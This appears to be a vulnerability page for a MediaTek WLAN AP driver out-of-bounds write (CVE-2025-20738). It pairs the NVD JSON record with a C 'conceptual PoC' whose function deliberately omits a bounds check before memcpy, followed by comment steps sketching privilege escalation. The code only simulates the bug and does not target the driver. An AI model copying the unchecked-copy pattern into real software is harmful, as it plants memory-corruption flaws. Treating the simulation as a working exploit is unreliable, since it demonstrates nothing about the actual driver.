CVE-2025-20738

// CVE-2025-20738 PoC - MediaTek WLAN AP Driver Out of Bounds Write // Note: This is a conceptual PoC for educational purposes only // Requires existing system-level access to exploit #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Simulated vulnerable driver structure typedef struct { uint32_t buffer_size; uint8_t* data_buffer; uint32_t flags; } wlan_ap_driver_ctx_t; // Vulnerable function with incorrect bounds check int vulnerable_write(wlan_ap_driver_ctx_t* ctx, uint8_t* input, uint32_t len) { // INCORRECT: Only checking if len > 0, not checking against buffer_size if (len > 0) { // This causes out of bounds write when len > buffer_size memcpy(ctx->data_buffer, input, len); return 0; } return -1; } // Trigger the vulnerability int trigger_vulnerability() { wlan_ap_driver_ctx_t* ctx = malloc(sizeof(wlan_ap_driver_ctx_t)); ctx->buffer_size = 256; // Actual buffer size ctx->data_buffer = malloc(256); ctx->flags = 0; // Attacker-controlled input larger than buffer uint32_t malicious_len = 1024; // Exceeds buffer_size uint8_t* malicious_data = malloc(malicious_len); memset(malicious_data, 0x41, malicious_len); // Fill with 'A' // Trigger out of bounds write int result = vulnerable_write(ctx, malicious_data, malicious_len); // Cleanup free(malicious_data); free(ctx->data_buffer); free(ctx); return result; } int main() { printf("CVE-2025-20738 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("This PoC demonstrates the incorrect bounds check vulnerability.\n"); printf("In real scenario, this requires system-level access to trigger.\n"); trigger_vulnerability(); return 0; } /* * Exploitation Steps: * 1. Attacker gains initial system access (via other vulnerability) * 2. Load malicious kernel module or interact with vulnerable driver * 3. Trigger vulnerable write function with oversized input * 4. Overwrite security-critical structures (token, ACL, function pointers) * 5. Escalate privileges to root/admin level */

{"cve": {"id": "CVE-2025-20738", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:42.473", "lastModified": "2025-11-05T17:12:46.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00435342; Issue ID: MSV-4039."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/November-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}